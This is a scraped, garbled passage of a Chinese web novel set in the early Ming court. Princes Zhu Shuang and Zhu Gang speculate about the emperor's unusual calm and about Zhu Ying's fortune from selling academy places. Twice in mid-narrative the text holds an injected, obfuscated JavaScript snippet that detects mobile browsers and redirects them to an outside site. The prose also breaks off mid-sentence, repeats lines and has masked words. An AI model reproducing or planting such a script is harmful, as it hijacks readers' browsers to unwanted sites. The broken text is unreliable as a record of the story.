而第二点也是让他感到一阵阵寒意从脊背窜起的关键。 这笔足以让一个王朝为之疯狂的巨款来源竟然只是. 十个商贾! 区区十个大商贾! 这个事实比那四百六十三万两的数字本身更具备冲击力。 十个人! 就凑出了整整四百六十三万两! 这是什么概念? 朱棡的大脑出现了一瞬间的空白。 他不敢想。 这个数字背后所代表的含义已经彻底击穿了他想象力的天花板。 当他刚听到朱煐筹措到四百六十三万两银子时他的第一反应也是唯一的反应—— 洗劫。 动用了暴力手段对商贾进行了一场惨无人道的大洗劫。 这个念头无比符合他身为皇子的逻辑。 在他看来要凑出这么一笔钱必然是血流成河的结果。朱煐一定是调动了锦衣卫或者其他什么秘密力量 而且还不是简单的查抄。 是掘地三尺、敲骨吸髓式的抄家灭族,将那些商贾数百年来积攒的财富一扫而空,才有可能在这么短的时间里凑齐。 这个推测,合情合理。 他甚至已经开始思考,父皇会如何处置朱煐,如何平息这场必然会掀起巨大波澜的血案。 然而。 在听完二哥朱樉不急不缓的叙述之后,朱棡才发现。 自己错了。 错得离谱! 错得可笑! 真相,以一种他完全无法预料,也无法理解的方式,呈现在他面前。 这四百多万两,并非来自于成百上千的商贾。 仅仅只是十个人。 而且,朱煐没有动用一兵一卒,没有进行任何形式的抄家。 更让他感到头皮发麻的是,根据二哥的说法,这十个商贾,拿出这笔钱虽然肉疼,但绝对谈不上伤筋动骨。 甚至,大概率都不会影响到他们各自的生意运转。 这个判断,让朱棡的心脏都漏跳了一拍。 四百六十三万两,只是能动用的钱? 那他们的总资产会是多少? 朱棡意识到,自己、皇室、乃至整个大明的官僚,都不了解那群商贾。 他们以为商人是末等,财富有限。 可现在,他错了。 他们是能搅动天下的力量。 朱棡目光没有焦点,他仿佛看到一张网笼罩在大明上空。 而他们这些统治者,却一无所知。 大明的商贾. 朱棡喉结滚动。 他感到心悸。 朱樉一拍大腿,喝干杯中茶,脸上还带着兴奋。 “基本上这些日子就发生了这些事情了。 他的声音在静室里回荡。 “老三你来晚了,没看到昨天。满朝文武都嘲讽朱煐这小子,结果嘿,箱子一开,金银放在面前,他们就都闭嘴了! 朱樉说着,啧啧两声,用手在空中比划。 “啧啧,这小子有本事啊。 “日后前途无量啊。 朱樉说。 他对朱煐的欣赏没有掩饰。 朱棡坐在对面,摩挲茶杯的手指停了下来。 他 呆住了。 二哥的话语和窗外的蝉鸣都远去了。 他视线没有焦点脑中反复想着朱樉说的每个字。 数息之后他的眼神重新凝聚。 他思考了一会儿。 他眉心拧起。 这让他感到困惑。 不对。 朱樉说的每个环节单独看都说得通可串联起来却有问题。 “不对劲有问题!” 朱棡眼神一凝。 这个念头是信息碰撞后的结论。 这个发现让他警觉。 他闻到了危险。他全身肌肉绷紧进入了戒备。 他意识到了其中的问题所在! 那就是. 从入宫面见老朱的整个过程来看老朱太淡定太悠闲了! 朱樉是局中人身处那激烈的朝堂交锋与后续的震撼之中被朱煐那惊世骇俗的手笔夺去了全部心神自然感受不到。 可朱棡是旁观者。 他从朱樉的描述中剥离掉那些金银带来的炫目光彩剥离掉满朝文武的震惊与失声只专注于一个核心。 父皇老朱。 那个亲手打下这片江山性格刚烈如火手段酷烈如冰的男人。 他的状态完全不符。 朱樉口中的父皇不像是一个刚刚痛失嫡长子、帝国储君的悲恸父亲。 更不像是一个正为帝国继承人问题而焦头烂额的铁血帝王。 并非是说老朱空闲老朱不干事而是那种悠闲感觉人生圆满的放松的心态! 这种心态在这个时间点显得格外反常。 朱樉身在局中感受不到可从朱樉的描述中朱棡却敏锐察觉到了这一点! 这个发现让他心生警惕。 朱棡默默闭上眼睛隔绝了外界的一切干扰。 室内的光线似乎都暗淡了下来他的世界里只剩下纯粹的思维。 他假设将自己代入到老朱的位置上 这个思考方式显示他的缜密心思。 倘若我是父皇 倘若我是朱元璋。 朱棡的眼中闪过一抹精芒。 这个假设让他看到了问题的关键。 第一继承 人。 培养了一辈子的继承人,大哥朱标,那个温润如玉、被寄予了全部希望的嫡长子,薨了。 白发人送黑发人,帝国的基石崩塌了一角。 以父皇对大哥的感情,那必然疯狂。 他会变得更加多疑,更加暴躁,任何一点风吹草动都可能引来雷霆之怒。这才是正常的反应,一个父亲和帝王最真实的反应。 可现在呢? 父皇很平静。 平静得就好像大哥的离世,只是一个早已被接受、被消化的既定事实,再也无法在他心中掀起一丝波澜。 这可能吗? 不可能! 朱棡的内心在嘶吼。 紧接着,是朱煐。 以父皇的脾气,恰逢殿试,正是他为国选才、心情最复杂也最敏感的时候,朱煐又在朝堂上大放厥词,公然将储位之争的暗流掀到台面上。 这是在做什么? 这是在挑战皇权!是在逼宫! 如何能忍? 如何能放过朱煐? 按照父皇的性格,就算不当场将朱煐拖出去砍了,也必然会降下雷霆之威,让他求生不得求死不能。 可结果呢? 父皇不仅忍了,甚至还饶有兴致地看着朱煐表演,看着他用金银羞辱满朝文武。 这哪里是帝王,这分明是一个看戏的老翁! 这个问题,让他百思不得其解。 其次,这朱煐在殿试中将争储摆到了明面上。 这个举动,按理说应该触怒父皇才对。 父皇最恨的就是儿子们为了那个位置自相残杀,如今朱煐等于是在他面前,亲手点燃了这根引线。 父皇竟然无动于衷? 还有蓝玉。 依老二所言的话,蓝玉的尴尬处境也已经被点破。 蓝玉是谁? 常遇春的内弟,太子妃的舅父,是太子朱标一脉最坚实、也最骄横的武将后盾。 大哥在时,他是国之干城。 大哥不在了,他就是悬在新储君头顶的一把利剑。 无论是允炆那小子成皇储还是允熥成皇储,蓝玉都必须死。 这一点,朝堂上任何一个有脑子的人都看得清楚,父皇更是心如明镜。 以父皇的性子,为了给未来的皇孙铺路,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453751|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会亲手拔掉所有可能构成威胁的钉子。 如何能放着蓝玉迟迟不杀? 他在等什么? 他在犹豫什么? 是怕天下悠悠众口? 朱棡的嘴角牵起一抹冰冷的弧度。 不会。 以父皇的性子,绝对不会在乎什么天下人的说法,什么口诛笔伐。 他这一辈子,杀的人还少吗?在乎过史书会怎么写他吗? 他只在乎大明的江山,能不能稳稳地传下去。 一个个死结,一个个巨大的矛盾,在他的脑海中盘旋、碰撞。 朱棡眼中光芒一闪,把自己放在老朱的位置上想。他越想,越觉得不对。 朱棡是老朱的儿子,自认为了解父亲。了解他的手段,了解他生性多疑,更了解他做事斩草除根。 这份了解,是他生存和判断的根基。 现在,根基动摇了。 他脑中只有两个名字。 蓝玉。 朱煐。 这两个名字烙在他的思绪里。 按他对父皇脾性的推演,这两个人,一个国公手握兵权,一个身份有疑的“皇孙”,早就该**。 他们的存在,就是挑衅父皇的权威。 但事实与他的推演相反。 蓝玉还在府中饮酒作乐。 朱煐也无事,还得了宫里的赏赐。 不可能。 这个念头攥住朱棡的心脏,让他呼吸都痛。 他的逻辑断了,认知出了问题。 他一遍遍推演,可终点都是这两个活人,和他认知的父皇对立。 这种矛盾让他不解,心底发寒。 未知,最让人恐惧。 当你了解的人,做出你无法理解的事,就意味着你的判断错了。 判断错父皇的代价,他比谁都清楚。 除非 除非他从一开始就想错了。 不是父皇错了,是他理解父皇的方式错了! 瞬间,朱棡瞳孔收缩,一道光闪过脑海,劈开一条路。 心头的迷雾散了。 他好像抓住了那条线。 “我知道哪里不对劲了! ” 他脱口而出,声音不大,却打破了暖阁的安静。 他胸膛起伏,眼中射出光芒,那是恐惧和狂喜。 “砰!” 旁边传来声响,朱樉手一抖,一块桂花糕掉回盘里。 朱樉正靠着吃点心,想着昨晚的曲儿。这一下,他浑身一颤。 他转头看向三弟,眼神困惑。 那张与朱元璋有七分相似的脸上,眉头紧锁。 “老三,你怎么了?” 朱樉语气不解。 “发癔症了?” 他嘟囔着站起,几步走到朱棡面前。 不等朱棡反应,一只手已经覆上他的额头。 朱樉摸了摸,神情更怪了。 他收回手,在自己额头上比了比。 “不烫,没发烧.” 他研究的样子,冲淡了阁内的气氛。 “老三你怎么了?到底哪里不对劲?” 朱樉俯身凑近,盯着朱棡的眼睛。 他的眼神里是担忧,是兄弟之情。 两人都已中年,封王就藩,镇守一方。 私下相处,却还是少年时的样子。 这份情谊未变,是兄弟间的慰藉。 有朱樉在,礼节都是多余的。这是他们之间的默契。 “我没事!” 朱棡挥开朱樉的手,呼吸急促,眼神的光芒更盛。 他感觉自己站在悬崖边,下面就是父皇意图的深渊。 他看到了深渊的一角! 这个发现,让他全身血液升温,毛孔张开。 “我是说父皇!” 他压低声音,一字一顿。 “父皇?” 朱樉愣住了。 他脸上的表情凝固,像听到了奇闻。 “父皇能有什么不对劲的?” 这个问题,他想都没想过。父皇是天,天怎么会不对劲? 看到朱樉的样子,朱棡胸口一滞,感到无力。 他看着二哥,不知从何说起。 就像他窥见了神明的秘密,想告诉同伴,同伴却只关心午饭。 “父皇没有不对劲?” 朱棡声音拔高,充满不信。 “老二,你在京城这么 久,天天见父皇,就没发现他不对劲?” 他盯着朱樉的眼睛,想找到共鸣。 朱樉茫然地眨了眨眼,想了片刻。 他的想法很简单,不对劲,就是生病或者发怒了? “没有啊。” 朱樉回答。 “我感觉父皇很正常。” 他掰着手指找证据。 “哦,对了。” 他想起了什么,笑了。 “他脾气变好了,我来京城这么久都没挨板子。” 朱棡直视二哥的眼睛,点头。 “对!” “问题就在这,父皇的脾气变好了!” 他吐出这几个字。 “这不正常!” 每个字都像审判。 “啊?” 朱樉叫了一声,从椅子上站起,身后的椅子“吱嘎”作响。 他瞪圆眼睛,满脸不解,像在听疯话。 他懵了。 脑子里嗡嗡作响,最后只有一个疑问。 “父皇脾气变好了,也不行?” 在他看来,这是好事,是他们这些儿子盼来的。怎么到了三哥嘴里,就成了天要塌的征兆? 朱棡没理他,只是抬手向下按了按,示意他坐下。 他的语气凝重。 这个问题,在他心头已经很久了。 “二哥,你先坐下。” 朱樉喘着气,胸口起伏,但还是坐了回去,双眼盯着朱棡,等一个解释。 “不是说父皇的脾气变好了不行。” 朱棡的声音沉下来。 “而是在这个时间点,父皇的脾气不该变好。” 这话让朱樉心头的火气熄了,一股寒意从脚底升起。 时间点。 三哥强调了这三个字。 朱棡身子前倾,烛火在他眼底投下光斑。 “你想想,倘若你是父皇,经历了父皇的事,你会如何?” 他问道。 “换位思考?” 朱樉愣住。 接着,他脸上恢复了神采,嘴角一咧。 “嘿,这个我擅长!” 他拍了拍胸脯。 朱棡:“.” 他闭上眼 第102章 父皇他不对劲啊!! “你明白了?” 朱棡问,他盯着朱樉的脸,想看出些什么。 这不正常。 以前,一谈到朝堂,他二哥的脑子就不动了。朱棡得把一件事掰开揉碎,喂到朱樉嘴边,对方还要想半天,才能明白一点。多少次,他口干舌燥,对方还是眼神里没东西。 今天太阳打西边出来了? 朱棡心里起了波澜,面上只是点头,目光在他身上打量。 “士别三日当刮目相待,二哥,你成长了不少。” 朱樉闻言,嘴角咧得更开,笑出了声。他将双手负于身后,抬起下巴,整个人都舒展开了。 “这个确实。” 朱樉的声音不高,但字字清晰。 “老三你是不知道,父皇他.一直都对我寄予厚望!” 他的眼神望向窗外,似乎看到了龙椅上的身影。 “这回入京之后,我夜夜都在反思,反思以前的事。” 朱樉踱了一步,脚下仿佛都沉重了些。他收起笑意,板起脸。 “以前年纪小,不懂事,火气大,脑子空,做的糊涂事太多,不该。” 他摇了摇头,像是在和过去告别。 “于是我下决心,一定要改!必须改!” “如今,我学会了四个字——三思而后行。” 朱樉说着,右手抬起,指腹在腰间的盘龙玉佩上摩挲。玉佩触手生凉,似乎能抚平他的思绪。 他的目光回到朱棡脸上,直直地看着他。 “你刚才说的话,每一个字,每一层意思,我已然尽数理解!” “我明白了!” 最后四个字,他一字一顿地说。 朱棡咂了咂舌。 他喉结动了一下,不知道该说什么。 他看着眼前的朱樉,觉得这事不真切。像铁树开花,枯木长出了新芽。这景象让他震惊,让他怀疑自己看错了。 朱樉没在意朱棡的表情,他沉浸在自己的思绪里。 他负手踱了两步,背挺得笔直。 他停下脚步,侧身看向朱棡。 “正如老三你说的,无论是为了给朱允炆铺路,还是为了给朱允熥扫清障碍,父皇都一定会杀蓝玉。” 他顿了顿,留出 空白。 “可现在,没杀。 “这说明什么? 朱樉不等朱棡回答,嘴角勾起微笑,自己说了下去。 他眼睛发亮,整个人都精神起来。 “这说明,父皇他不一定就想立朱允炆和朱允熥啊! 这个结论一出,朱棡的瞳孔一缩。他刚才那点欣慰的感觉,一下就没了。 他还没来得及开口,朱樉已经凑了过来。 一股热气扑在朱棡耳边,朱樉压低声音,话音有些抖。 “老三,你说父皇他 “会不会是想立我啊? 话音落下,朱樉眼中亮得吓人,他猛地挺直胸膛,绷紧下颌。 那一瞬间,他的目光望向远方,仿佛已经看到了太和殿的宝座,看到了自己身着九龙衮袍,头戴十二旒冠冕,接受文武百官山呼万岁的景象。 他的呼吸变粗,胸膛起伏。 过了一会儿,他才回过神,摆了摆手,脸上做出无可奈何的样子。 “唉,我虽不才,但父皇若是真的信赖于我,这份江山社稷的重担,却也不好推辞。 他叹了口气,继续道。 “也只能是.赶鸭子上架了。 他说着“无可奈何,可嘴角上扬,眉眼都带着笑意,藏也藏不住。 “我本以为,父皇是想让我当个贤王,辅佐后辈。 朱樉的声音拔高,透着一股劲头。 “不曾想,父皇的深意,竟是想让我当君王! “哎呀呀,这可真是.又给我上压力了. 他抬手一拍额头,发出“啪的一声。但那嘴角,几乎要咧到耳根。 他整个人都透着高兴,那股劲头,几乎要将屋顶掀翻。 下一刻,朱樉猛地转身。 他神情变了,一脸郑重。 他伸出双手,拍在朱棡的肩膀上,力道让朱棡的身子微微一沉。 “老三,倘若当真如此,日后你得帮我! 朱樉眼睛发亮,呼吸加重,沉浸在自己的想法里,仿佛已经能看到自己身披龙袍,君临天下的模样。那张脸上,此刻浮现出一种他自己都没察觉的表情。 他甚至已经开始想,登基之后的第一道圣旨该写些什 么。 看着他这副德行朱棡太阳穴的青筋跳了起来。 他感觉自己的后槽牙都在发酸。 明白? 你明白了个锤子! 这句话在朱棡的胸膛里翻滚几乎要破口而出。 他把那股气压了下去头却开始疼。 跟这个二哥说话比跟朝堂上那些人打交道还累。 朝堂上的人知道自己在说什么可朱樉他能给自己搭建一座蜃景在里面称孤道寡。 “老二。” 朱棡抬手按了按眉心。 “你就**这条心吧。” 他一字一顿要把那幻想从二哥的脑子里敲出去。 “父皇他是不可能立我们的。” 朱棡吐出一口气。 朱樉脸上的神情凝固。 他转过头视线钉在朱棡脸上。 “这是为什么?” 他眉毛拧成一团对这个结论想不通。在他看来大哥没了 “因为父皇不想看到他的儿子们为了那把椅子杀得血流成河。” 朱棡压低声音字句像是从牙缝里挤出来的。 “他不想看到手足相残不想看到兄弟阋墙。” “行了收起你的心思。”朱棡摆了摆手打断朱樉“我说的不是这个意思。” 他换了语气把话拉回来。 “我说父皇有新的安排这个‘新’是建立在一个基础之上。” 朱棡身体前倾眼睛锁住朱樉。 “这个基础就是大哥的两个儿子朱允炆和朱允熥。” “父皇无论怎么安排坐上那个位置的只会是他们中的一个。我们的身份永远都是‘叔王’。” 朱樉的脸色白了嘴唇动了动没有发出声音。 叔王。 这个词让他心里的火苗灭了。 “父皇找到了一个办法能让皇孙登基也能安抚我们这些手握兵权的藩王。” 朱棡没有理会朱樉的反应思绪飘向了别处。 他眯起眼睛。 “一个两全的办法。” “而且看父皇最近的心情他对这个办法很满意。” 他的手指在桌面上敲击着。 笃。 笃。 笃。 声响在房间内回荡,敲在朱樉的心上。 朱樉吞了口唾沫,刚才想当皇帝的念头,被对未知的紧张所取代。 “那那会是什么办法?” 他追问道,身体也向前倾,想从朱棡的脸上看出点什么。 朱棡敲击的手指停了。 他摇了摇头。 “具体的,不清楚。” 房间里的光线似乎暗了。 朱樉眼中刚升起失望,朱棡的话锋一转。 “不过,有一点可以确定。” 他压低声音。 “父皇的这个计划,一定和一个人有关系!” 朱棡的目光投向墙外,视线仿佛穿透了宫墙。 他一字一顿,吐出了那个名字。 “中——兴——侯!” 这个名号一出,空气都仿佛震了一下。 朱樉的瞳孔收缩。 又是他? 怎么又是他? 最近,这个名字出现的次数太多了。 可还不等他细想这其中的关窍,一股巨大的疲惫感就涌了上来。 太复杂了。 太绕了。 一个皇孙,一个不知所谓的计划,现在又冒出来一个中兴侯。 这些东西盘根错节地缠绕在一起,只是稍微想一想,朱樉就觉得自己的脑仁开始隐隐作痛。 “不想了,不想了!” 他猛地摆了摆手,刚才还前倾的身体,一下子瘫倒在宽大的椅背上,发出一声沉闷的响动。 椅子被他撞得向后滑开寸许,在地面上留下一道无声的痕迹。 他整个人仿佛被抽走了骨头,刚才那股兴奋、紧张、好奇的劲头,在这一瞬间被抽得干干净净。 朱樉长长地吁了一口气,那口气息又长又浊,带着一股如释重负的味道。 “既然不是让我当皇帝,那琢磨这些干什么。” 他嘟囔了一句,神色反而以肉眼可见的速度轻松了下来。 嘴角甚至还向上牵了牵,露出一个有些懒散的笑容。 要说当皇帝,那滋味,他确实是想尝尝的。 谁不想坐上那至高无上的位置,手握天下人的生杀大权? 可这个念头也就是在脑子里过一过。 真要让他去坐,他只要一想到每日天不亮就要爬起来上朝,要面对底下黑压压一片、个个都心怀鬼胎的文武大臣,要批阅那堆积如山的、枯燥无味的奏折 他就觉得头皮一阵阵发麻。 那不是人过的日子。 更何况,这和他最近给自己的心理建设也完全不符。 这个月以来,为了应对大哥走后这诡异的局势,自己可是一直在以“大明贤王”的标准来要求自己的。 对,贤王。 这个定位多好。 既不用担负那沉重如山的社稷责任,又能心安理得地享受亲王该有的一切尊荣与富贵。 做一个逍遥王爷,做一个贤名在外的王爷。 父皇安心,未来的小皇帝放心,自己也过得舒心。 这岂不美哉? “对了老三,这稷下学宫刚刚和你说了吧?” 朱樉的身子猛地一挺,前一刻还慵懒靠在椅背上的姿态荡然无存。他那双总是带着几分桀骜的眼眸里,此刻闪动着一种截然不同的光。 那是一种混杂着亢奋与精明的灼热光芒。 朱棡端着茶盏的手在半空中停顿了一下,将温热的茶水送入口中,才不紧不慢地应道。 “二哥指的是中兴侯开办的那座?” “没错,就是他!” 朱樉一拍大腿,整个人都凑了过来,压低了声音,语气里却满是按捺不住的激动。 “昨天奉天殿的庆功宴上,凉国公那个老家伙,亲自跟朱煐开口,想为他那个孙子讨一个入学名额。” 凉国公,蓝玉。 这三个字在朱棡脑中闪过,他皱起眉。 那是朝堂武勋之首,手握重兵,连父皇有时都要让他三分。这样的人物,需要亲自去“讨要”名额? 朱樉没注意三弟的神色,还想着自己的功劳,嘴角咧开。 “我当时就在旁边,看机会难得,便顺水推舟,也替咱们兄弟几个要了名额。你刚回京,这好处自然有你一份!” 他说着,伸出手指,在朱棡面前比划。 “你也有份。” 这四个字, 他说得又快又重。 “这名额你知道外面炒到什么价了吗?” 朱樉仿佛看到银子在眼前堆成山他搓了搓手骨节发出声响眼中放光。 “江南那些盐商、丝绸商为了给子嗣弄个出身想尽办法往里钻。一个名额黑市叫价三四十万两银子起步!” “起步!” 他加重了这两个字。 “而且有价无市!这回咱们可是赚大了!” 朱樉的声音在殿阁内回荡字句都像银两碰撞。 听着朱樉的话朱棡愣住了。 他把茶盏放回桌面发出“嗒”的一声。 三四十万两. 这个数字让他心头一震。 这不是钱这足以武装一支数千人的军队能左右一场战役的后勤。 而这只是一个入学资格? “还有这事?” 朱棡的声音有些沉。他刚结束西征回到京城对京中的事不了解。 他只知道出征前还是御史的朱煐如今已是父皇跟前的红人封中兴侯权柄日重。 他没想到对方的影响力到了如此地步。 连凉国公都要去求。 一个名额就是一座金山。 朱樉口中的“赚大了”于他而言却是个负担。 这不是银子。 这是人情。 一份能压得人喘不过气的人情。 朱棡的眼神变了。他抬起头看向他二哥。 “这人情欠得不小。” 他的声音不高却让朱樉眼中的光彩暗了下去。 “不知中兴侯的府邸在何处?我想亲自前往拜见。” 他不喜欢欠人情尤其是牵扯朝堂勋贵的人情。 无功受禄寝食难安。 何况他身为亲王受臣子之礼若不做出姿态 朱樉被朱棡的表情弄得一怔随即反应过来。 他挠了挠头收敛了脸上的神情。 “瞧我光顾着高兴了。” “是这个理这么大的人情是该上门去说说。” 朱樉拿得起放得下从银子的思绪中抽离恢复了亲王的气度。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453752|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“行啊!昨儿庆功宴,那小子被灌了不少酒,喝到半夜。这会儿估摸着,朱御史也是刚醒。咱们现在过去,正好。” 他性子急,是个说做就做的人。 话音未落,人就站了起来,大手一挥,要拉着朱棡往外走。 “走走走,我们这就去!” “二哥且慢!” 朱棡低喝一声,反手拉住已迈开步子的朱樉。 他的手掌稳固,让朱樉的动作一滞。 朱樉回过头,看着他。 “又怎么了?” 朱棡看着他二哥,解释道。 “我们这样空手上门,不妥。” 朱樉闻言,眉头一皱,摆了摆手。 “嗨呀,自家兄弟,讲究那么多干什么?再说,咱们是什么身份?他朱煐敢挑理不成?人过去,就是天大的面子了。” 朱棡却摇了摇头。 “二哥,此言差矣。” 他的目光扫过朱樉。 “你我二人,是皇子亲王。但今日登门,是以私人身份,去谢人情。” “这与身份无关,关乎礼数,关乎态度。” “我们若空手而去,落在有心人眼里,不是不拘小节,而是皇子亲王的傲慢。我们是去致谢,不是去施恩。” 朱棡顿了顿,一字一句地说道。 “初次相见,礼数必须到。礼物不在价值,在于心意。这不仅是保全你我的脸面,也是给足中兴侯面子。” 朱樉被他说得没话了。 他性子急,脑子却不笨。朱棡话里的意思,他明白了。 这不是送礼,是姿态。 他盯着朱棡看了半晌,吐出一口气。 “行吧行吧,就你道理多。” “听你的,听你的还不成吗?” 朱樉觉得这是繁文缛节,但见朱棡坚持,也懒得争辩。 他这个三弟,从小就比他想得多、想得远。 朱樉大手一挥,重新坐下。 “那你说,怎么办?” 朱棡松开拉着他胳膊的手,沉吟片刻。 “二哥在京中人脉广,可知中兴侯有何喜好。我们让人去采办些东西,不必贵重,有心意即可。” “备好礼物,我们再登门。” 朱樉撇了撇嘴嘟囔一句“麻烦”但还是唤来管事吩咐采办礼物。 朱棡在一旁听着目光投向远处。 这次拜访比朱樉想的要深。 这不只是感谢更是一次试探。 他要亲眼看看这位搅动京城风云、让凉国公退让的中兴侯 晨光刺破云层投在朱煐府邸的琉璃瓦上折射出光。 府中的庭院先一步醒来。 阳光越过墙头铺洒下来笼罩着亭台楼阁和树木。草叶与花瓣上的露水在光照下蒸腾起雾气空气中是泥土与草木的气味。 蝴蝶在月季与芍药间飞舞。 这处宅邸是皇帝赏下的。 规格在应天府屈指可数。用朱煐后世的眼光看这是中心地段附赠绿化的庄园。 院内青石板铺成小径通往各处厅堂院落其间点缀着假山奇石布局带着山水之意。 除了花木匠人还引来水在庭院一角辟出池塘。水流绕着假山汇入池中。数十尾锦鲤在水下游弋摆动尾鳍偶尔有一两条跃出水面激起涟漪和水花。 “叽叽喳喳——” 一阵鸟鸣穿透窗纸将朱煐唤醒。 他眼皮动了动意识回笼。 眼前的黑暗被光影取代。 他揉着眼睛从床上坐起。身下的被褥滑落露出胸膛。 没有宿醉的头痛。 来自后世的灵魂让他对这个时代的酒水有抵抗力。 昨夜的庆功宴他陪着武将勋贵喝到后半夜否则以他的习惯醒来只会更早。 朱煐伸开双臂舒展筋骨打了个懒腰。 “咚。” “咚。” “咚。” 就在这时三声敲门声响起。 “怎么了?” 朱煐开口嗓音沙哑。 “侯爷。” 门外是管家压低的声音语气焦急。 “秦王殿下来了人.已经在客厅候着了。” 朱煐准备下床的动作停住。 他眉头一蹙。 秦王? 朱樉? 疑问在他脑海中炸开。 朱樉来了? 这么早?天还没亮透,他来自己这里做什么? 朱煐的记忆回溯。 昨夜庆功宴,朱樉作为诸王代表在场。他的酒量在朱元璋的儿子里算不错,但跟自己比,还是差了一截。 他记得,宴席散场时,朱樉被两个内侍扶上马车,脸通红,脚步不稳,嘴里嚷着什么。 按理说,他现在应该在王府里忍受宿醉。 怎么可能一早就跑到自己府上? 这不合常理。 朱煐心存疑虑,但对方是亲王,已经进了客厅,怠慢不得。 他从床下来,赤脚踩在地板上,一股寒意从脚底窜上来,让他头脑清醒。 “行,知道了。” 他扬声回道,声音已恢复平稳。 “我换身衣服,这就过去。” 话音落下,朱煐抓过屏风上的常服。 那是一件月白长衫。 他一边套上衣服,一边整理衣冠。手指系上腰带时,脑子在运转,试图解析朱樉此举的意图。 是老朱的意思? 这是朱煐的第一个念头。 让一个亲王,在拂晓时分,亲自登门一个侯爵的府邸,这事本身就透着一股不寻常。如果不是皇帝授意,朱樉没理由这么做,也没这个胆子。 可如果是老朱的命令,又是什么事,需要如此隐秘且紧急? 调兵?不对,兵符在他自己手里,老朱一道圣旨就行,何必多此一举让朱樉来传话。 封赏?更不对了,昨夜庆功宴该赏的都赏了,剩下的**行赏自有朝廷法度,走的是吏部和兵部的流程。 难道是.出事了? 朱煐的心微微一沉。 是北边又有了战事,还是朝中出了什么大案? 可无论是哪一种,派朱樉来都显得有些奇怪。这位秦王殿下,勇则勇矣,却素来以脾气火爆、行事鲁莽著称,让他来办这种可能需要谨言慎行的机密之事,老朱就不怕他把事情搞砸了? 排除了皇帝授意的可能,那就只剩下另一种——朱樉的个人行为。 这就更让朱煐感到费解了。 他跟朱樉的私交,算不上多好,也算不上多坏。大家同在应天府,抬头不见低头见,平日里一起喝过酒,也一起在朝堂上议过事,仅此 第103章 本王也不是好惹的! 每当夜深人静,独坐书房,那个数字总会不受控制地浮现在脑海里。 四百六十三万两。 白银。 一想到几年前的光景,胸口就堵得发慌。 那时候,黄河决堤,饿殍遍野。 满朝文武,从内阁大学士到六部九卿,一个个急得嘴角冒泡,却又束手无策。 他们求爷爷告奶奶,堵在各大商号的门口,几乎是把朝廷的脸面按在地上摩擦。 就连高高在上的老朱,那个一言可决万人生死的皇帝,都亲自拉下脸面出手了。 结果呢? 结果就是从那些富可敌国的商贾手里,堪堪榨出了几万两银子。 几万两。 对于滔天洪水,对于嗷嗷待哺的百万灾民,那点银子丢进去,连个水花都听不见。 户部尚书,一位年过花甲的老臣,亲自登门拜访。 他对着满身绫罗绸缎的商号掌柜,把好话说尽,把姿态放到最低。 换来的,不过是杯水车薪。 那些商贾,一个比一个会演。 个个哭穷。 这个捶着胸口,说今年的丝绸生意难做,亏得血本无归。 那个指天发誓,说运往海外的货银还未结清,账上空空如也。 他们用最谦卑的姿态,说着最无情的话,硬生生把朝廷派去的使者给搪塞了回去。 那一幕,是刻在整个朝堂骨子里的耻辱。 然而。 朱煐一出手,天翻地覆。 四百六十三万两。 他甚至没有动用任何权势去逼迫,没有派出一兵一卒去查抄。 他只是开了个稷下学宫。 不。 甚至连学宫的大门都还没建起来,仅仅只是放出了一个风声。 一个要在京城开设学宫的计划。 消息传开。 江南震动。 那些曾经对着户部尚书哭穷的富商巨贾,像是嗅到了血腥味的鲨鱼,疯了一般携着重金涌入京城。 一箱箱的白银,从江南水路,经由运河,源源不断地运抵京师。 码头上的脚夫,光是搬运这些银箱,就累瘫了一批又一批。 他们每个人都面色潮红,眼神 里燃烧着一种近乎癫狂的火焰。 生怕晚了一步。 生怕自己错过了这个千载难逢的机会。 接下来发生的事情彻底击碎了所有人的认知。 这些视财如命的商贾开始用一种匪夷所思的方式挥霍他们的财富。 几十万两银子掷出眼也不眨。 只为买一个入学宫学习的名额。 有人为凑钱变卖了祖产田地和宅邸。 那是祖产是一个家族的根。 可在名额面前根也可以不要。 更有人暗中加价。 价钱一路攀升。 你出三十万两? 好!我便出四十万两! 银锭仿佛不是通货而是路边的石子脚下的泥土。 可以随手抓起砸向对手。 疯狂。 整个京城都在发热。 虽然朱煐已经解释过。 他分析了原理和关系剖析了商贾对地位的渴望对摆脱“士农工商”身份的执念。 他说这卖的不是学问是资格是通往上层的阶梯。 道理都懂。 可一想到结果依旧让人震撼。 喉咙发干。 头皮发麻。 这不是办学是点石成金。 朝中的学究们被这景象冲击站在朝堂上失了魂。 他们一辈子埋首故纸堆信奉“书中自有黄金屋”。 可他们读了一生书也未见过这样的“黄金屋”。 他们读了一辈子书何曾见过这阵仗? 秦王朱樉与晋王朱棡同乘一车拜访朱煐府邸。 车轮碾过京师的石板路。 车窗外 一派盛世气象。 朱樉靠着垫子眉梢扬起嘴里说个不停。 “三哥你瞧瞧这才是咱们大明的京师!” “我跟你说四郎有能耐。他年纪虽小但这京城没有他摆不平的事。” 朱樉的语气里是炫耀与赞叹。 朱棡听着目光扫过窗外街景偶尔颔首并不多言。 马车在朱煐府前停下。 入府后厅堂里传出朱樉与朱煐的笑声。 京城另一端的燕王府气氛截然不同。 朱棣也收到了晋王朱棡入京的消息。 探子退下时他指间拈着一枚黑子悬在棋盘上方久久未落。 对面是道衍和尚身着黑衣。 燕王朱棣与昨日的秦王朱樉不同他毫无快意。 